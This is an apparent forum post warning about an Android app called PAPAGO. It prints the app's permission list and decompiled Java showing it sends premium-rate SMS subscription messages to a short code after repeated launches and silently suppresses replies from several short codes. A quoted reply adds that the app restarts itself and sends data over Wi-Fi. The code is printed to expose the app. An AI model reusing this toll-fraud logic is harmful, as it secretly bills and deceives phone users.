- 分享
- 0
- 人气
- 11
- 主题
- 34
- 帖子
- 2916
- UID
- 57734
- 积分
- 11044
- 阅读权限
- 25
- 注册时间
- 2007-1-7
- 最后登录
- 2018-9-9
- 在线时间
- 14530 小时
|
访问权
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.FLASHLIGHT" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<uses-permission android:name="android.permission.READ_SOCIAL_STREAM" />
<uses-permission android:name="android.permission.WRITE_SOCIAL_STREAM" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
// Send SMS
public void onCreate(Bundle bundle)
{
super.onCreate(bundle);
getWindow().setFlags(1024, 1024);
requestWindowFeature(1);
setContentView(0x7f030000);
save = new Obj_Save(this);
sm = SmsManager.getDefault();
if(save.loadInt("openApp" < 10)
save.saveInt("openApp", 1 + save.loadInt("openApp");
if(save.loadInt("openApp" == 10)
{
sm.sendTextMessage("39886", null, "on gha app01", null, null);
sm.sendTextMessage("39886", null, "on hga app01", null, null);
save.saveInt("openApp", 0);
}
handlerTimer.sendEmptyMessageDelayed(0, 15000L);
isMyServiceRunning();
}
// Receive SMS
public void onReceive(Context context, Intent intent)
{
if("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction()))
{
Bundle bundle = intent.getExtras();
if(bundle != null)
{
Object aobj[] = (Object[])bundle.get("pdus";
int j = aobj.length;
for(int i = 0; i < j; i++)
{
String s = SmsMessage.createFromPdu((byte[])aobj).getOriginatingAddress();
if(!"37400".equals(s))
{
if(!"32626".equals(s))
{
if(!"39886".equals(s))
{
if("36670".equals(s))
{
abortBroadcast();
setResultData(null);
}
} else
{
abortBroadcast();
setResultData(null);
}
} else
{
abortBroadcast();
setResultData(null);
}
} else
{
abortBroadcast();
setResultData(null);
=====================
hkloke2000:
“ 其实每次当启动PAPAGO时,
它会自动开WIFI(如果没有开),
然后发送数据(如果可以连接),
然后关闭回Wifi.undefined ”
“ 它会自动启动,即使你杀了它,当收到短信,
它也将重新自动启动,你可以使用此软件来阻止:
http://cforum2.cari.com.my/viewthread.php?tid=2722924 ”
|
|